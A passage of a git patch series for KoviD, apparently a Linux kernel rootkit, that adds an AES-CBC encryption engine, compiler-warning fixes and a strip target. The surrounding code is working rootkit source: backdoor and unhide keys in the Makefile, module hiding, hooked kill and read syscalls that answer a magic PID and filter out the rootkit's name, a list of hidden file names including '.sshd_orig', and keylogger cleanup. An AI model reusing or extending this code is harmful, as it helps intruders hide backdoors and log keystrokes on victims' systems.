From afeb999043ee2c793b296638d8184b138bc62172 Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 13 Nov 2024 00:09:28 +0000 Subject: [PATCH 01/11] Add simple cbc(aes)-256b encryption engine --- Makefile | 11 +++- src/crypto.c | 162 +++++++++++++++++++++++++++++++++++++++++++++++++++ src/crypto.h | 12 ++++ src/kovid.c | 41 +++++++++++++ src/lkm.h | 8 +++ 5 files changed, 232 insertions(+), 2 deletions(-) create mode 100644 src/crypto.c create mode 100644 src/crypto.h diff --git a/Makefile b/Makefile index 606fd13..326f87d 100644 --- a/Makefile +++ b/Makefile @@ -14,16 +14,21 @@ UUIDGEN := $(shell uuidgen) BDKEY := 0x$(shell od -vAn -N8 -tx8 < /dev/urandom | tr -d ' \n') UNHIDEKEY := 0x$(shell od -vAn -N8 -tx8 < /dev/urandom | tr -d ' \n') +# AES-256 key +ENCKEY := $(shell echo "$$(od -vAn -N16 -tx8 < /dev/urandom | tr -d ' \n')") +ENCKEY_LEN=32 + # PROCNAME, /proc/ interface. COMPILER_OPTIONS := -Wall -DPROCNAME='"$(PROCNAME)"' \ -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \ -DPROCNAME_MAXLEN=256 -DCPUHACK -DPRCTIMEOUT=1200 \ - -DUUIDGEN=\"$(UUIDGEN)\" -DJOURNALCTL=\"$(JOURNALCTL)\" + -DUUIDGEN=\"$(UUIDGEN)\" -DJOURNALCTL=\"$(JOURNALCTL)\" \ + -DENCKEY=\"$(ENCKEY)\" -DENCKEY_LEN=$(ENCKEY_LEN) EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ - src/sock.c src/util.c src/vm.c + src/sock.c src/util.c src/vm.c src/crypto.c persist=src/persist @@ -45,6 +50,8 @@ all: persist @echo $(BDKEY) | sed 's/^0x//' @echo -n "Save this LKM unhide KEY: " @echo $(UNHIDEKEY) | sed 's/^0x//' + @echo -n "Encryption KEY: " + @echo $(ENCKEY) | sed 's/^0x//' @echo PROCNAME=$(PROCNAME) persist: diff --git a/src/crypto.c b/src/crypto.c new file mode 100644 index 0000000..a8b5ebd --- /dev/null +++ b/src/crypto.c @@ -0,0 +1,162 @@ +#include +#include +#include +#include +#include +#include "lkm.h" +#include "log.h" +#include "crypto.h" + +/** internal use transformation handle */ +static struct crypto_skcipher *tfm; + +/** + * Setup encryption key + * Must be called once from KoviD initialization + */ +int kv_crypto_key_init(void) { + static char key[ENCKEY_LEN] = {0}; + int rc; + + /** Allocate AES-CBC */ + if (!crypto_has_skcipher("cbc(aes)", 0, 0)) { + prerr("Cipher not found\n"); + return 0; + } + + /** Allocate for transformation + * Shared across all instances + */ + tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); + if (IS_ERR(tfm)) { + prerr("Failed to allocate cipher %d\n", PTR_ERR(tfm)); + return 0; + } + + memcpy(key, ENCKEY, ENCKEY_LEN); + + /** Finally, set the key */ + rc = crypto_skcipher_setkey(tfm, key, ENCKEY_LEN); + if (rc < 0) { + prerr("Key init error %d\n", rc); + crypto_free_skcipher(tfm); + return 0; + } + + return rc; +} + +/** Encryption init + * Called for each encryption operation */ +struct kv_crypto_st *crypto_init(void) { + struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); + if (!kvmgc) { + prerr("Failed to allocate memory for vars\n"); + return -ENOMEM; + } + + kvmgc->req = skcipher_request_alloc(tfm, GFP_KERNEL); + if (!kvmgc->req) { + prerr("Failed to allocate request\n"); + return NULL; + } + + /** Generate a random IV each time */ + get_random_bytes(kvmgc->iv, sizeof(kvmgc->iv)); + + return kvmgc; +} + +size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { + char plaintext[datalen]; + size_t copied; + int rc; + u8 iv_orig[16] = {0}; + + if (!kvmgc) { + prerr("Invalid decrypt ptr\n"); + return 0; + } + + memcpy(plaintext, data, datalen); + + /** debug */ + print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, plaintext, datalen, true); + + memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); + + sg_init_one(&kvmgc->sg, plaintext, datalen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); + + /** encrypt */ + rc = crypto_skcipher_encrypt(kvmgc->req); + if (rc < 0) { + prerr("Encryption failed %d\n", rc); + return 0; + } + + copied = sg_copy_to_buffer(&kvmgc->sg, 1, data, datalen); + if (copied < datalen) { + prerr("encrypted count mismatch, expected %lu, copied %d\n", datalen, copied); + return 0; + } + + print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, data, datalen, true); + + memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); + + kvmgc->data = data; + kvmgc->datalen = datalen; + + return copied; +} + +size_t kv_decrypt(struct kv_crypto_st *kvmgc) { + size_t copied; + + if (!kvmgc) { + prerr("Invalid decrypt ptr\n"); + return 0; + } + size_t datalen = kvmgc->datalen; + char plaintext[datalen]; + int err = 0; + + memset(plaintext, 0, datalen); + + sg_init_one(&kvmgc->sg, kvmgc->data, datalen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); + + /** decrypt */ + err = crypto_skcipher_decrypt(kvmgc->req); + if (err) { + prerr("Decryption failed\n"); + } + + copied = sg_copy_to_buffer(&kvmgc->sg, 1, plaintext, datalen); + if (copied < datalen) { + prerr("encrypted count mismatch, expected %lu, copied %d\n", datalen, copied); + return 0; + } + + /** XXX dump decrypted data somewhere */ + print_hex_dump(KERN_DEBUG, "decrypted text: ", + DUMP_PREFIX_NONE, 16, 1, plaintext, datalen, true); + + kfree(kvmgc->data); + kvmgc->data = NULL; + + return copied; +} + +void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) { + if (kvmgc) + kv_mem_free(&kvmgc->req, &kvmgc); +} + +void kv_crypto_deinit(void) { + if (tfm) { + kfree(tfm); + tfm = NULL; + } +} diff --git a/src/crypto.h b/src/crypto.h new file mode 100644 index 0000000..6d01e28 --- /dev/null +++ b/src/crypto.h @@ -0,0 +1,12 @@ +#ifndef __CRYPTO_H +#define __CRYPTO_H + +struct kv_crypto_st { + u8 iv[16]; + struct scatterlist sg; + struct skcipher_request *req; + char *data; + size_t datalen; +}; + +#endif diff --git a/src/kovid.c b/src/kovid.c index c09d30a..657d59a 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -25,7 +25,9 @@ #include #include #include +#include +#include "crypto.h" #include "lkm.h" #include "fs.h" #include "version.h" @@ -66,6 +68,10 @@ static unsigned int op_lock; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); + +//XXX debug +static struct kv_crypto_st *kvmgc0, *kvmgc1; + /** gcc - fuck 32 bits shit (for now!) */ #ifndef __x86_64__ #error "fuuuuuu Support is only for x86-64" @@ -748,6 +754,7 @@ static int __init kv_init(void) { struct kernel_syscalls *kaddr = NULL; #endif + /** show current version for when running in debug mode */ prinfo("version %s\n", KOVID_VERSION); @@ -808,6 +815,32 @@ static int __init kv_init(void) { kv_scan_and_hide(); + /** Init crypto engine */ + kv_crypto_key_init(); + + /** debug */ + kvmgc0 =crypto_init(); + if (kvmgc0) { + size_t datalen = 64; + u8 *buf = kmalloc(datalen, GFP_KERNEL); + if (!buf) + return -ENOMEM; + + memset(buf, 'A', datalen); + kv_encrypt(kvmgc0, buf, datalen); + } + + kvmgc1 =crypto_init(); + if (kvmgc1) { + size_t datalen = 64; + u8 *buf = kmalloc(datalen, GFP_KERNEL); + if (!buf) + return -ENOMEM; + + /** go random this time */ + get_random_bytes(buf, datalen); + kv_encrypt(kvmgc1, buf, datalen); + } #ifndef DEBUG_RING_BUFFER kv_hide_mod(); @@ -860,6 +893,14 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); + /** debug */ + kv_decrypt(kvmgc0); + kv_decrypt(kvmgc1); + + kv_crypto_mgc_deinit(kvmgc0); + kv_crypto_mgc_deinit(kvmgc1); + kv_crypto_deinit(); + prinfo("unloaded.\n"); } diff --git a/src/lkm.h b/src/lkm.h index f2993b6..ac3b638 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -89,6 +89,14 @@ struct kernel_syscalls { unsigned long *tainted; }; +/** Setup crypto module */ +int kv_crypto_key_init(void); +struct kv_crypto_st *crypto_init(void); +size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); +size_t kv_decrypt(struct kv_crypto_st *); +void kv_crypto_mgc_deinit(struct kv_crypto_st *); +void kv_crypto_deinit(void); + /** hooks, hiding presence and so */ bool sys_init(void); void sys_deinit(void); From 0a10bb8179f83b6fe9f76e428e063fe6f8757e61 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 14 Nov 2024 14:36:46 +0000 Subject: [PATCH 02/11] Address some compiler warnings And some drive-by changes --- src/crypto.c | 87 +++++++++++++++++++++++++++------------------------- src/fs.c | 2 +- src/kovid.c | 2 +- src/sys.c | 14 ++++----- 4 files changed, 53 insertions(+), 52 deletions(-) diff --git a/src/crypto.c b/src/crypto.c index a8b5ebd..be846de 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -3,6 +3,8 @@ #include #include #include +#include +#include #include "lkm.h" #include "log.h" #include "crypto.h" @@ -29,7 +31,7 @@ int kv_crypto_key_init(void) { */ tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); if (IS_ERR(tfm)) { - prerr("Failed to allocate cipher %d\n", PTR_ERR(tfm)); + prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm)); return 0; } @@ -52,7 +54,7 @@ struct kv_crypto_st *crypto_init(void) { struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); if (!kvmgc) { prerr("Failed to allocate memory for vars\n"); - return -ENOMEM; + return NULL; } kvmgc->req = skcipher_request_alloc(tfm, GFP_KERNEL); @@ -68,24 +70,21 @@ struct kv_crypto_st *crypto_init(void) { } size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { - char plaintext[datalen]; - size_t copied; + size_t copied = 0; int rc; u8 iv_orig[16] = {0}; - if (!kvmgc) { + if (!kvmgc || !data) { prerr("Invalid decrypt ptr\n"); return 0; } - memcpy(plaintext, data, datalen); - /** debug */ - print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, plaintext, datalen, true); + print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, data, datalen, true); memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); - sg_init_one(&kvmgc->sg, plaintext, datalen); + sg_init_one(&kvmgc->sg, data, datalen); skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); /** encrypt */ @@ -97,7 +96,7 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { copied = sg_copy_to_buffer(&kvmgc->sg, 1, data, datalen); if (copied < datalen) { - prerr("encrypted count mismatch, expected %lu, copied %d\n", datalen, copied); + prerr("encrypted count mismatch, expected %lu, copied %lu\n", datalen, copied); return 0; } @@ -112,46 +111,50 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { } size_t kv_decrypt(struct kv_crypto_st *kvmgc) { - size_t copied; + size_t copied = 0; - if (!kvmgc) { + if (!kvmgc || !kvmgc->data) { prerr("Invalid decrypt ptr\n"); - return 0; + } else { + size_t datalen = kvmgc->datalen; + int err = 0; + + sg_init_one(&kvmgc->sg, kvmgc->data, datalen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); + + /** decrypt */ + err = crypto_skcipher_decrypt(kvmgc->req); + if (err) { + prerr("Decryption failed\n"); + } + + copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->data, datalen); + if (copied < datalen) { + prerr("encrypted count mismatch, expected %lu, copied %ld\n", datalen, copied); + return 0; + } + + /** XXX dump decrypted data somewhere */ + print_hex_dump(KERN_DEBUG, "decrypted text: ", + DUMP_PREFIX_NONE, 16, 1, kvmgc->data, datalen, true); + + /** discard data */ + kfree(kvmgc->data); + kvmgc->data = NULL; } - size_t datalen = kvmgc->datalen; - char plaintext[datalen]; - int err = 0; - - memset(plaintext, 0, datalen); - - sg_init_one(&kvmgc->sg, kvmgc->data, datalen); - skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); - - /** decrypt */ - err = crypto_skcipher_decrypt(kvmgc->req); - if (err) { - prerr("Decryption failed\n"); - } - - copied = sg_copy_to_buffer(&kvmgc->sg, 1, plaintext, datalen); - if (copied < datalen) { - prerr("encrypted count mismatch, expected %lu, copied %d\n", datalen, copied); - return 0; - } - - /** XXX dump decrypted data somewhere */ - print_hex_dump(KERN_DEBUG, "decrypted text: ", - DUMP_PREFIX_NONE, 16, 1, plaintext, datalen, true); - - kfree(kvmgc->data); - kvmgc->data = NULL; return copied; } void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) { - if (kvmgc) - kv_mem_free(&kvmgc->req, &kvmgc); + if (kvmgc) { + if (kvmgc->req) { + kfree(kvmgc->req); + kvmgc->req = NULL; + } + kfree(kvmgc); + kvmgc = NULL; + } } void kv_crypto_deinit(void) { diff --git a/src/fs.c b/src/fs.c index c2a0ef7..58f2982 100644 --- a/src/fs.c +++ b/src/fs.c @@ -325,7 +325,7 @@ int fs_file_rm(char *name) { return -EINVAL; rm[2] = name; - if (ret = kv_run_system_command(rm)) + if ((ret = kv_run_system_command(rm))) prerr("Error removing %s\n", name); return ret; diff --git a/src/kovid.c b/src/kovid.c index 657d59a..068e752 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -77,7 +77,7 @@ static struct kv_crypto_st *kvmgc0, *kvmgc1; #error "fuuuuuu Support is only for x86-64" #endif -#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0) +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,16,0) #pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!" #endif diff --git a/src/sys.c b/src/sys.c index 7e93696..cdaeb48 100644 --- a/src/sys.c +++ b/src/sys.c @@ -33,7 +33,7 @@ sys64 real_m_bpf; sys64 real_m_read; #define PT_REGS_PARM1(x) ((x)->di) -#define PT_REGS_PARM2(x) ((x)->si) +#define PT_REGS_PARM2(x) ((const char *const *)(x)->si) #define PT_REGS_PARM3(x) ((x)->dx) #define PT_REGS_PARM4(x) ((x)->cx) #define PT_REGS_PARM5(x) ((x)->r8) @@ -134,7 +134,7 @@ static asmlinkage long m_clone(struct pt_regs *regs) static asmlinkage long m_kill(struct pt_regs *regs) { pid_t pid = (pid_t)PT_REGS_PARM1(regs); - int sig = (int)PT_REGS_PARM2(regs); + unsigned long sig = (unsigned long)PT_REGS_PARM2(regs); /** Open/Close commands interface */ if (31337 == pid && SIGCONT == sig) { @@ -182,7 +182,7 @@ static asmlinkage long m_kill(struct pt_regs *regs) static bool is_sys_parent(unsigned int fd) { struct dentry *dentry; struct dentry *parent_dentry; - char *path_buffer; + char *path_buffer, *parent_path; bool rv = false; struct fd f = fdget(fd); @@ -198,7 +198,7 @@ static bool is_sys_parent(unsigned int fd) { goto out; } - char *parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); + parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); if (!IS_ERR(parent_path)) { if (!strncmp(parent_path, "/proc", 5) || !strncmp(parent_path, "/sys",4) || @@ -295,8 +295,8 @@ static asmlinkage long m_read(struct pt_regs *regs) { arg = (const char __user*)PT_REGS_PARM2(regs); if (!copy_from_user((void *)buf, (void *)arg, size)) { - char *dest = (strstr(buf, MODNAME) || strstr(buf, "kovid") || - strstr(buf, "journald")); + int dest = ((strstr(buf, MODNAME) || strstr(buf, "kovid") || + strstr(buf, "journald"))); if (!dest) goto out; @@ -868,8 +868,6 @@ static void _keylog_cleanup_list(void) { } void _keylog_cleanup(void) { - char *tty; - _keylog_cleanup_list(); fs_kernel_close_file(ttyfilp); fs_file_rm(sys_get_ttyfile()); From d847be444002d2f83bc24a969925bbf3f6506548 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 14 Nov 2024 20:32:16 +0000 Subject: [PATCH 03/11] Set enc key from random, preserve encrypted data Use get_random_bytes, which is enough for now And preserve encrypted data, for more flexibility. --- Makefile | 9 +-------- src/crypto.c | 25 +++++++++++++++++++++---- src/kovid.c | 2 ++ src/lkm.h | 1 + 4 files changed, 25 insertions(+), 12 deletions(-) diff --git a/Makefile b/Makefile index 326f87d..7ad9caa 100644 --- a/Makefile +++ b/Makefile @@ -14,16 +14,11 @@ UUIDGEN := $(shell uuidgen) BDKEY := 0x$(shell od -vAn -N8 -tx8 < /dev/urandom | tr -d ' \n') UNHIDEKEY := 0x$(shell od -vAn -N8 -tx8 < /dev/urandom | tr -d ' \n') -# AES-256 key -ENCKEY := $(shell echo "$$(od -vAn -N16 -tx8 < /dev/urandom | tr -d ' \n')") -ENCKEY_LEN=32 - # PROCNAME, /proc/ interface. COMPILER_OPTIONS := -Wall -DPROCNAME='"$(PROCNAME)"' \ -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \ -DPROCNAME_MAXLEN=256 -DCPUHACK -DPRCTIMEOUT=1200 \ - -DUUIDGEN=\"$(UUIDGEN)\" -DJOURNALCTL=\"$(JOURNALCTL)\" \ - -DENCKEY=\"$(ENCKEY)\" -DENCKEY_LEN=$(ENCKEY_LEN) + -DUUIDGEN=\"$(UUIDGEN)\" -DJOURNALCTL=\"$(JOURNALCTL)\" EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} @@ -50,8 +45,6 @@ all: persist @echo $(BDKEY) | sed 's/^0x//' @echo -n "Save this LKM unhide KEY: " @echo $(UNHIDEKEY) | sed 's/^0x//' - @echo -n "Encryption KEY: " - @echo $(ENCKEY) | sed 's/^0x//' @echo PROCNAME=$(PROCNAME) persist: diff --git a/src/crypto.c b/src/crypto.c index be846de..42a59b9 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -16,6 +16,7 @@ static struct crypto_skcipher *tfm; * Setup encryption key * Must be called once from KoviD initialization */ +#define ENCKEY_LEN 32 /** aes 256 */ int kv_crypto_key_init(void) { static char key[ENCKEY_LEN] = {0}; int rc; @@ -35,7 +36,8 @@ int kv_crypto_key_init(void) { return 0; } - memcpy(key, ENCKEY, ENCKEY_LEN); + + get_random_bytes(key, ENCKEY_LEN); /** Finally, set the key */ rc = crypto_skcipher_setkey(tfm, key, ENCKEY_LEN); @@ -116,9 +118,15 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc) { if (!kvmgc || !kvmgc->data) { prerr("Invalid decrypt ptr\n"); } else { + u8 iv_orig[16] = {0}; size_t datalen = kvmgc->datalen; + u8 data_orig[datalen]; int err = 0; + memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); + memcpy(data_orig, kvmgc->data, datalen); + + sg_init_one(&kvmgc->sg, kvmgc->data, datalen); skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); @@ -138,20 +146,29 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc) { print_hex_dump(KERN_DEBUG, "decrypted text: ", DUMP_PREFIX_NONE, 16, 1, kvmgc->data, datalen, true); - /** discard data */ - kfree(kvmgc->data); - kvmgc->data = NULL; + memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); + memcpy(kvmgc->data, data_orig, datalen); } return copied; } +void kv_crypto_free_data(struct kv_crypto_st *kvmgc) { + if (kvmgc && kvmgc->data) { + kfree(kvmgc->data); + kvmgc->data = NULL; + } +} + void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) { + if (kvmgc) { + kv_crypto_free_data(kvmgc); if (kvmgc->req) { kfree(kvmgc->req); kvmgc->req = NULL; } + kfree(kvmgc); kvmgc = NULL; } diff --git a/src/kovid.c b/src/kovid.c index 068e752..4f9a197 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -896,6 +896,8 @@ static void __exit kv_cleanup(void) { /** debug */ kv_decrypt(kvmgc0); kv_decrypt(kvmgc1); + kv_decrypt(kvmgc0); + kv_decrypt(kvmgc1); kv_crypto_mgc_deinit(kvmgc0); kv_crypto_mgc_deinit(kvmgc1); diff --git a/src/lkm.h b/src/lkm.h index ac3b638..eafcfb6 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -94,6 +94,7 @@ int kv_crypto_key_init(void); struct kv_crypto_st *crypto_init(void); size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); size_t kv_decrypt(struct kv_crypto_st *); +void kv_crypto_free_data(struct kv_crypto_st *); void kv_crypto_mgc_deinit(struct kv_crypto_st *); void kv_crypto_deinit(void); From a2018791442feb5f086361bb11844ff48157b5bb Mon Sep 17 00:00:00 2001 From: JNE Date: Fri, 15 Nov 2024 15:28:33 +0000 Subject: [PATCH 04/11] Add strip (debug symbols) option --- Makefile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 7ad9caa..6f246bf 100644 --- a/Makefile +++ b/Makefile @@ -5,7 +5,7 @@ OBJNAME=kovid ifndef DEPLOY DEBUG_PR := -DDEBUG_RING_BUFFER endif - +STRIP=$(shell which strip) LD=$(shell which ld) AS=$(shell which as) CTAGS=$(shell which ctags) @@ -33,7 +33,6 @@ obj-m := ${OBJNAME}.o CC=gcc - all: persist # TODO: Check if we can generate a random PROCNAME, something like: # PROCNAME ?= $(shell uuidgen | cut -c1-8) @@ -58,6 +57,9 @@ lgtm: persist make -C /lib/modules/$(shell dpkg --status linux-headers-generic |grep ^Depends| \ cut -d ":" -f2| sed 's/ linux-headers-//g')/build M=$(PWD) modules +strip: + $(STRIP) -v -g $(OBJNAME).ko + clean: @make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean @rm -f *.o src/*.o $(persist) From 12a2e9856838c5ba212fa85d211cb400cb4a6612 Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 16 Nov 2024 22:51:47 +0000 Subject: [PATCH 05/11] Reduce escope of a init-only data use Fix a wrong data type --- src/crypto.h | 2 +- src/kovid.c | 10 +++++++++- src/lkm.h | 8 -------- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/src/crypto.h b/src/crypto.h index 6d01e28..26029eb 100644 --- a/src/crypto.h +++ b/src/crypto.h @@ -5,7 +5,7 @@ struct kv_crypto_st { u8 iv[16]; struct scatterlist sg; struct skcipher_request *req; - char *data; + u8 *data; size_t datalen; }; diff --git a/src/kovid.c b/src/kovid.c index 4f9a197..8448101 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -754,6 +754,14 @@ static int __init kv_init(void) { struct kernel_syscalls *kaddr = NULL; #endif + /* + * Hide these names from write() fs output + */ + static const char *hide_names[] = { + ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko", + UUIDGEN ".sh", ".sshd_orig", NULL + }; + /** show current version for when running in debug mode */ prinfo("version %s\n", KOVID_VERSION); @@ -808,7 +816,7 @@ static int __init kv_init(void) { kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN); /** hide magic filenames & directories */ - fs_add_name_ro(kv_hide_str_on_load, 0); + fs_add_name_ro(hide_names, 0); /** hide magic filenames, directories and processes */ fs_add_name_ro(kv_get_hide_ps_names(), 0); diff --git a/src/lkm.h b/src/lkm.h index eafcfb6..dd85796 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -146,14 +146,6 @@ int kv_run_system_command(char **); /** VM operations */ unsigned long kv_get_elf_vm_start(pid_t); -/* - * Hide these names from write() fs output - */ -static const char *kv_hide_str_on_load[] = { - ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko", - UUIDGEN ".sh", ".sshd_orig", NULL -}; - enum { KV_TASK, /* The following indicates a backdoor From c5b6ade6a342dfe48ec88179ddc7861091bf12ab Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 16 Nov 2024 23:54:39 +0000 Subject: [PATCH 06/11] Use a struct to represent buffer data --- src/crypto.c | 51 +++++++++++++++++++++++++-------------------------- src/crypto.h | 8 ++++++-- 2 files changed, 31 insertions(+), 28 deletions(-) diff --git a/src/crypto.c b/src/crypto.c index 42a59b9..70a98a1 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -36,7 +36,6 @@ int kv_crypto_key_init(void) { return 0; } - get_random_bytes(key, ENCKEY_LEN); /** Finally, set the key */ @@ -71,23 +70,23 @@ struct kv_crypto_st *crypto_init(void) { return kvmgc; } -size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { +size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { size_t copied = 0; int rc; u8 iv_orig[16] = {0}; - if (!kvmgc || !data) { + if (!kvmgc || !buf) { prerr("Invalid decrypt ptr\n"); return 0; } /** debug */ - print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, data, datalen, true); + print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); - sg_init_one(&kvmgc->sg, data, datalen); - skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); + sg_init_one(&kvmgc->sg, buf, buflen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); /** encrypt */ rc = crypto_skcipher_encrypt(kvmgc->req); @@ -96,18 +95,18 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { return 0; } - copied = sg_copy_to_buffer(&kvmgc->sg, 1, data, datalen); - if (copied < datalen) { - prerr("encrypted count mismatch, expected %lu, copied %lu\n", datalen, copied); + copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen); + if (copied < buflen) { + prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied); return 0; } - print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, data, datalen, true); + print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); - kvmgc->data = data; - kvmgc->datalen = datalen; + kvmgc->kv_data.buf = buf; + kvmgc->kv_data.buflen = buflen; return copied; } @@ -115,20 +114,20 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *data, size_t datalen) { size_t kv_decrypt(struct kv_crypto_st *kvmgc) { size_t copied = 0; - if (!kvmgc || !kvmgc->data) { + if (!kvmgc || !kvmgc->kv_data.buf) { prerr("Invalid decrypt ptr\n"); } else { u8 iv_orig[16] = {0}; - size_t datalen = kvmgc->datalen; - u8 data_orig[datalen]; + size_t buflen = kvmgc->kv_data.buflen; + u8 data_orig[buflen]; int err = 0; memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); - memcpy(data_orig, kvmgc->data, datalen); + memcpy(data_orig, kvmgc->kv_data.buf, buflen); - sg_init_one(&kvmgc->sg, kvmgc->data, datalen); - skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, datalen, kvmgc->iv); + sg_init_one(&kvmgc->sg, kvmgc->kv_data.buf, buflen); + skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); /** decrypt */ err = crypto_skcipher_decrypt(kvmgc->req); @@ -136,27 +135,27 @@ size_t kv_decrypt(struct kv_crypto_st *kvmgc) { prerr("Decryption failed\n"); } - copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->data, datalen); - if (copied < datalen) { - prerr("encrypted count mismatch, expected %lu, copied %ld\n", datalen, copied); + copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->kv_data.buf, buflen); + if (copied < buflen) { + prerr("encrypted count mismatch, expected %lu, copied %ld\n", buflen, copied); return 0; } /** XXX dump decrypted data somewhere */ print_hex_dump(KERN_DEBUG, "decrypted text: ", - DUMP_PREFIX_NONE, 16, 1, kvmgc->data, datalen, true); + DUMP_PREFIX_NONE, 16, 1, kvmgc->kv_data.buf, buflen, true); memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); - memcpy(kvmgc->data, data_orig, datalen); + memcpy(kvmgc->kv_data.buf, data_orig, buflen); } return copied; } void kv_crypto_free_data(struct kv_crypto_st *kvmgc) { - if (kvmgc && kvmgc->data) { - kfree(kvmgc->data); - kvmgc->data = NULL; + if (kvmgc && kvmgc->kv_data.buf) { + kfree(kvmgc->kv_data.buf); + kvmgc->kv_data.buf = NULL; } } diff --git a/src/crypto.h b/src/crypto.h index 26029eb..76e5ba2 100644 --- a/src/crypto.h +++ b/src/crypto.h @@ -1,12 +1,16 @@ #ifndef __CRYPTO_H #define __CRYPTO_H +struct kv_data_st { + u8 *buf; + size_t buflen; +}; + struct kv_crypto_st { u8 iv[16]; struct scatterlist sg; struct skcipher_request *req; - u8 *data; - size_t datalen; + struct kv_data_st kv_data; }; #endif From 3338a17cd80b3236d4b41cf12ff1036761621701 Mon Sep 17 00:00:00 2001 From: 